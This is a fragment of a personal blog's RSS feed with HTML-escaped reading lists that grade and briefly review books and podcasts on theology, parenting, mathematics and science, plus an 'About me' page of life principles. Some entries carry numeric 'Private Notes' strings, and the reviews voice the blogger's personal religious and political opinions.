&lt;ul>
&lt;li>James K. A. Smith&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fantastic read highly recommended for Christian scholars. He, appropriately I believe, addresses the overly rationalistic mentality that is common in the conservative, evangelical church today. I appreciate his focus on the value and import of daily, &amp;lsquo;common&amp;rsquo; practices (read &amp;rsquo;liturgies&amp;rsquo;) that are shaping us.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>NutureShock: New Thinking About Children&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Po Bronson&lt;/li>
&lt;li>Ashley Merryman&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Insightful book providing recent research about raising children.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Last Days According to Jesus&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>R. C. Sproul&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very approachable and comprehensible overview of eschatology (with a focus on the partial, preterite view).&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The ZDoggMD Show&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>ZDogg&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Not a book, but a very &lt;em>highly&lt;/em> recommended &lt;a href="https://zdoggmd.com/podcasts/">podcast&lt;/a> in which ZDogg investigates various aspects of medicine. He does a better job than anybody I know at communicating nuance and complexity of things like the covid vaccine and whether or not masks do anything helpful. If there&amp;rsquo;s one thing you take away from this list, it&amp;rsquo;s to read some C. S. Lewis. Second to that is listen to this podcast :)&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Civilization and Its Discontents&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Sigmund Freud&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Sometimes thinkers appeal to what they perceive is a general consensus to prove their point which I do not share. I find Freud does this a bit. I agree with Freud&amp;rsquo;s own comments late in the book viz that the work is, at times rambling. Perhaps I lack the taste necessary to appreciate Freud or maybe this is not one of his great works, but I found it disappointing for someone so highly regarded and oft cited as Freud.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>No-Drama Discipline: The Whole-Brain Way to Calm the Chaos and Nurture Your Child&amp;rsquo;s Developing Mind&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Daniel J. J. Siegel&lt;/li>
&lt;li>Tina Payne Bryson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good book w/ helpful principles for disciplining children. I appreciate the emphasis on &lt;strong>connecting&lt;/strong> with kids and &lt;strong>redirecting&lt;/strong> them toward better behaviours rather than flying off the handle in spur-of-the-moment frustration.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Expecting Better: Why the Conventional Pregnancy Wisdom Is Wrong&amp;ndash;and What You Really Need to Know&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Emily Oster&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Valuable book applying an evidence-driven approach to conception, pregnancy, labor, and delivery. Very informative and thorough in both depth and breadth.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Narrative of the Life of Frederick Douglass, an American Slave&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Frederick Douglass&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>This is an powerful and compelling narrative describing the horrors and inner workings of slavery. Also, a powerful indictment of the kind of religion which was complicit in slavery.&lt;/li>
&lt;li>I therefore hate the corrupt, slaveholding, women-whipping, cradle-plundering, partial and hypocritical Christianity of the land&amp;hellip; The dealers in the bodies of men erect their stand in the presence of the pulpit, and they mutually help each other. The dealer gives his blood-stained gold to support the pulpit, and the pulpit, in return, covers his infernal business with the garb of Christianity. Here we have religion and robbery the allies of each other—devils dressed in angels’ robes, and hell presenting the semblance of paradise.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Flatland: A Romance of Many Dimensions&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Edwin Abbott&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Funny and fascinating read. It is funny as a critique and commentary of Abbott&amp;rsquo;s victorian society and fascinating to consider what a two dimensional world would be like and the complexities of moving from one dimension to another in either reality or imagination.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>He Saw That It Was Good: Reimagining Your Creative Life to Repair a Broken World&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Sho Baraka&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>I still do not know what I think this book. I recommend it and there is some great, thought provoking content therein. I am saddened and confused by an attitude in the book that seems to say (and I sincerely hope I&amp;rsquo;m not misrepresenting the book) that Christians of different ethnicities should be separate so they don&amp;rsquo;t lose their cultural identities and creative resources. While I whole-heartedly support the preservation of cultural identities and creative resources, I also believe that a Church can be ethnically and culturally diverse without eclipsing many of the constituent ethnicities (although, I grant, this is rarely accomplished). I could have misunderstood Sho Baraka, but I understood him as advocating for christians of different ethnicies to remain relatively distinct and I do not see that as a desirable goal.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Boy, the Mole, the Fox and the Horse&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Charlie Mackesy&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>&amp;ldquo;What do you want to be when you grow up?&amp;rdquo; &amp;ldquo;Kind&amp;rdquo; said the boy.&lt;/li>
&lt;/ul>
Private Notes:
&lt;ul>
&lt;li>6065,2419,4748,1988,1627,35,3613,4382,2549,4732,3907,84,3010,5785,1134,2844,1853,1849,3996,2162,1325,1551,1051,4316,2616,689,5218,4342,3987,4352,2329,3181,3570,3874,4874,5119,5957,372,5731,5414,5650,3798,4857,5948,3604,2669,1673,1293,5530,4801,1014,2975,5321,1922,4807,1005,2965,3538,2785,4112,2499,5901,3178,2600,470,943,2457,5448,5799,2021,2784,5640,4274,3826,127,80,2237,5396,4464,2361,4462,2143,5684,1375,2793,897,2443,141,5530,332,5255,5765,5684,1739,443,4275,6104,6097&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Replacing Darwin: The New Origin of Species&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Nathaniel T Jeanson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Interesting book. The first bit (half?) is introductory biology and genetics (both history and theory). The second half of the book makes the argument that speciation occurs rather rapidly (one new species every couple of years) and that &amp;ldquo;shifts from heterozygosity to homozygosity are the major genetic mechanism of speciation&amp;rdquo;.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Creation: An Appeal to Save Life on Earth&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Edward O. Wilson&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good book, written by a secular humanist scientist to a hypothetical pastor, presenting the case for preserving the created world. As the author expresses, I find it fascinating that Christians who believe God created the world have bought into political ideologies (the current, Republican mantra) which treats our planet with very little dignity.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Most Beautiful Mathematical Formulas: An Entertaining Look at the Most Insightful, Useful, and Quirky Theorems of All Time&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Lionel Salem&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun book to read with some fascinating mathematical principles and formulas.&lt;/li>
&lt;/ul>
Private Notes:
&lt;ul>
&lt;li>5550,862,707,4731,1715,803,5084,5535,4931,1508,1161,473,5361,2264,4030,5021,5443,4609,5359,5912,2521,2625,5103,4884,5155,5244,1005,5979,3953,924,3794,2449,567,3869,1512,817,3840,4622,3340,519,4149,146,143,442,798,1789,14,4276,3226,5215,2872&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Better Left Unsaid&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Curt Jaimungal&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Pertinent and poignant analysis of what&amp;rsquo;s going on in America today and the bifurcation of discourse in America.&lt;/li>
&lt;/ul>
Private Notes:
&lt;ul>
&lt;li>4658,29,5430,5450,4170,2429,1137,2415,2890,2380,2855,4102,2816,3573,339,2991,442,5198,4085,1697,878,247,2308,3845,3932,3546,2638,1129,5370,460,3173,524,2617,5171,187,3695,127,1892,5300,2098,2582,1877,2893,2088,5246,932,4259,2811,832,4887,3674,3255,1207,4896,2266,3861,3265,3963,2040,1817,1280,5350,2044,4792,116,3257,1848,4292,5818,3951,3549,2639,95,2761,3072,3385,3330,5727&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Flowers for Lisa: A Delirium of Photographic Invention&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Abelardo Morell&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Beautiful collection of creative and imaginative photos!&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Undeniable: Evolution and the Science of Creation&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Bill Nye&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Neither Bill Nye nor Ken Ham (a creationist Bill Nye debated which prompted this book) are very nuanced in their views and they both overstate their position. For example, Bill overstates the advantage and evolutionary world-view holds over a creationist view with respect to the joy of discovery and exploring the world around us. Both the evolutionist and creationist can passionately explore the world around us. Bill does raise some good objections to Ken Ham&amp;rsquo;s distinction between &amp;lsquo;historic&amp;rsquo; science and &amp;lsquo;present&amp;rsquo; science (as he did in the debate). I will say, Bill Nye&amp;rsquo;s rebuttle to the creationist objection that evolution violates the second law of thermodynamics by requiring that order come from energy released in a closed system was very poor. He objects that earth is &lt;em>not&lt;/em> a closed system because it gets energy from the universe around it. This ignores the fact that the argument still works if one just expands the objection to the universe. In other words: granted that the earth isn&amp;rsquo;t a closed system, but the &lt;em>universe&lt;/em> is, so the same problem applies. Why is there order in the universe if, according to an evolutionary worldview, the universe is a closed system into which energy is released.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Kubernetes in Action (2nd Edition)&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Marko Lukša&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great introduction and overview of kubernetes. &lt;a href="https://www.manning.com/books/kubernetes-in-action-second-edition">Link&lt;/a>.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Montessori Baby: A Parent&amp;rsquo;s Guide to Nurturing Your Baby with Love, Respect, and Understanding&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Simone Davies&lt;/li>
&lt;li>Junnifa Uzodike&lt;/li>
&lt;li>Sanny van Loon (Illustrator)&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Very practical tips and guidance for parents. Very repetitive (not necessarily a bad thing, but can be a bit bothersome at times).&lt;/li>
&lt;/ul>
Private Notes:
&lt;ul>
&lt;li>192,474,3954,4980,3194,1664,2375,913,5154,2087,3594,2574,5231,5797,77,2661,5,2053,1664,5616,4227,1608,5287,4511,4832,2097,4590,3297,2498,2189,1947,2889,1275,2274,5717,2725,4242,874,630,4787,136,524,4042,2340,2804,758,1956,71,1016,407,4577,3107,3315,6030,6095,1474,5907,3790,4642,5355,3242&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Chess Player&amp;rsquo;s Bible: Illustrated Strategies for Staying Ahead of the Game&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>James Eade&lt;/li>
&lt;li>Al Lawrence&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Approachable, insightful, and enjoyable read.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Gospel in Dostoyevsky: Selections from His Works&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Fyodor Dostoyevsky&lt;/li>
&lt;li>(Introduced by J. I. Packer, Malcolm Muggeridge, and Ernest Gordon)&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>I read a few of the selections in this book. I&amp;rsquo;m not a huge fan of books which are selections of works (I didn&amp;rsquo;t realize it was selections from his works when I checked it out), but the book does a good job of capturing some of the most powerful passages.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Symmetries of Things&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John H. Conway&lt;/li>
&lt;li>Heidi Burgiel&lt;/li>
&lt;li>Chaim Goodman-Strauss&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>This book is a &lt;em>very&lt;/em> enjoyable read. I highly recommend it as part one is very approachable to anyone with a basic math backgroud. The notation is simple and powerful but be warned: once you get the hang of it, you&amp;rsquo;ll start seeing and describing symmetries everywhere! Part three was beyond my current abilities, but still worth skimming for the beautiful diagrams.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Systematic Theology: An Introduction to Biblical Doctrine&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Wayne Grudem&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great theology book. I appreciate the author&amp;rsquo;s views on a number of issues like creation, spiritual gifts, and eschatology.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>&lt;a href="https://podcasts.apple.com/us/podcast/the-red-couch-podcast-with-propaganda-and-alma/id1231183364">Red Couch Podcast&lt;/a>&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Propaganda&lt;/li>
&lt;li>Dr. Alma Zaragoza-Petty&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Fun podcast with insightful, funny, and interesting discussions&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>&lt;a href="https://podcast.gospelinlife.com/">Gospel in Life Podcast&lt;/a>&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Dr. Timothy Keller&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Great podcast with of Pastor Keller&amp;rsquo;s sermons&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>&lt;a href="https://podcasts.apple.com/us/podcast/theories-of-everything-with-curt-jaimungal/id1521758802">Theories of Everything with Curt Jaimungal Podcast&lt;/a>&lt;/i> [C-]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Curt Jaimungal&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Mildly interesting podcast that, sometimes, discusses theories of everything, but often discusses other, fringe topics like consciousness and UFO&amp;rsquo;s.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Early Retirement Extreme: A philosophical and practical guide to financial independence&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jacob Lund Fisker&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Good book, worth reading.&lt;/li>
&lt;li>The author takes a very radical approach and seems to be unaware of recent trends (e.g. the trend toward getting value and meaning through one&amp;rsquo;s work), but still has some great insights.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Finally Free: Fighting for Purity with the Power of Grace&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Heath Lambert&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Read this w/ a friend - very helpful and practical guide to overcoming pornography and lust with a Biblical focus&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;/ol>
&lt;/section></description></item><item><title>About me</title><link>https://hightower.space/a/me/</link><pubDate>Fri, 01 Jan 2021 00:00:00 +0000</pubDate><guid>https://hightower.space/a/me/</guid><description>&lt;p>Welcome! I&amp;rsquo;m Floyd Hightower.&lt;/p>
&lt;p>I am a programmer who is passionate about making the world a better place using technology.&lt;/p>
&lt;h3 id="principles">Principles&lt;/h3>
&lt;h4 id="life-principles">Life Principles&lt;/h4>
&lt;p>Here are some of the principles I try apply to every area of my life:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://hightower.space/thoughts/light-of-day/">Let your ideas see the light of day&lt;/a>&lt;/li>
&lt;li>Always be willing to accept feedback and criticism (even when it is poorly delivered)&lt;/li>
&lt;li>&lt;a href="https://hightower.space/thoughts/great-things-take-time/">Rome ne s&amp;rsquo;est pas faite en un jour&lt;/a> (Rome wasn&amp;rsquo;t built in a day)&lt;/li>
&lt;li>Don’t be too proud to follow a good example&lt;/li>
&lt;li>Loose ends always unravel&lt;/li>
&lt;li>Unanswered questions never go away&lt;/li>
&lt;li>The Tisroc won’t live forever whether you want him to or not&lt;/li>
&lt;li>Talk less; listen more&lt;/li>
&lt;li>Use more semi-colons&lt;/li>
&lt;li>Use oxford commas&lt;/li>
&lt;li>Learn how to politely say &amp;ldquo;No&amp;rdquo;&lt;/li>
&lt;li>Don&amp;rsquo;t let the possibility of failure scare you away from starting something&lt;/li>
&lt;li>To do something, you have to do something&lt;/li>
&lt;li>A whiteboard is worth a thousand laptops&lt;/li>
&lt;li>&lt;a href="https://hightower.space/reading-list/consequences-of-ideas/">Ideas have consequences&lt;/a>&lt;/li>
&lt;/ul>
&lt;!-- #### Software Design and Development Principles
When working on a software project, I try to consider and apply the following principles:
- Make the software do the work: software should make life easier (for the end-user)... if it isn't, you're doing something wrong
- Sometimes the best way to start is by writing code that you know will not work
- Simple is better than complex
- Human interaction with a computer should be dynamic
--></description></item><item><title>2020 Reading List</title><link>https://hightower.space/posts/2020-reading-list/</link><pubDate>Wed, 01 Jan 2020 00:00:00 +0000</pubDate><guid>https://hightower.space/posts/2020-reading-list/</guid><description>&lt;p>(Top majority of this list is sorted alphabetically, but the tail is chronological)&lt;/p>
&lt;section>
Books read in 2020: 58
&lt;ol>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Gods and Robots: Myths, Machines, and Ancient Dreams of Technology&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Adrienne Mayor&lt;/li>
&lt;/ul>
Notes:
&lt;ul>
&lt;li>Enjoyable read highlighting the history of machines and their interactions with man.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>A Right Conception of Sin&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Richard S. Taylor&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Amusing Ourselves to Death&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Neil Postman&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>An Infinite Journey: Growing towards Christlikeness&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Andrew M. Davis&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>An Introduction to Logic&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>H. W. B. Joseph&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Art and Visual Perception: A Psychology of the Creative Eye&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Rudolf Arnheim&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Baptism: Its mode and its subjects&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Alexander Carson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Crazy Busy&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Kevin Deyoung&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Create vs. Copy: Embrace change. Ignite creativity. Break through with imagination.&lt;/i> [C-]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Ken Wytsma&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Death By Living&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>N. D. Wilson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Death of Ivan Ilych and Other Stories&lt;/i> [C&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Leo Tolstoy&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Do You Understand What You Read?&lt;/i> [F]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>H. M. Kuitert&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Don&amp;rsquo;t Read This Book&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Daniel Roos&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Effective Python: 59 Specific Ways to Write Better Python&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Brett Slatkin&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Escape from Reason&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Francis A. Schaeffer&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>European Brain Snakes: Postmodernism as a Species&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas Wilson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Godel, Bach, and Escher: An Eternal Golden Braid&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas R. Hofstadter&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>He Is There and He Is Not Silent&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Francis A. Schaeffer&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>He That Is Spiritual&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Lewis Sperry Chafer&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Do Nothing: Resisting the Attention Economy&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Jenny Odell&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>How to Listen to Great Music: A Guide to Its History, Culture, and Heart&lt;/i> [D]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Robert Greenberg&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Is There a Text in This Class?&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Stanley Fish&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Letters and Papers from Prison&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Dietrich Bonhoeffer&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Logic&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Gordon H. Clark&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Migration: Exploring the Remarkable Journeys of Birds&lt;/i> [A]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Melissa Mayntz&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Monticello: Official Guide to Thomas Jefferson&amp;rsquo;s World&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>National Geographic&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Orthodoxy&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>G. K. Chesterton&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Praying: Finding Our Way Through Duty to Delight&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>J. I. Packer and Carolyn Nystrom&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Prince Caspian&lt;/i> [C-]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>C. S. Lewis&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Reset: Living a Grace-paced Life in a Burnout Culture&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>David Murray&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Resurrection&lt;/i> [A&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Leo Tolstoy&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Rules for Reformers&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Douglas Wilson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>Seeing and Savoring Jesus Christ&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John Piper&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Five Points of Calvinism&lt;/i> [C]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Rev. Terry L. Johnson&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The God Who Is There&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>Francis A. Schaeffer&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Gospel According to Jesus&lt;/i> [B]&lt;/summary>
Author(s):
&lt;ul>
&lt;li>John MacArthur Jr.&lt;/li>
&lt;/ul>
&lt;br>
&lt;/details>
&lt;/li>
&lt;li>
&lt;details>
&lt;summary>&lt;i>The Hitchhiker&amp;rsquo;s Guide to Python: Best Practices for Development&lt;/i> [B&amp;#43;]&lt;/summary>
Author(s):
&lt;ul>
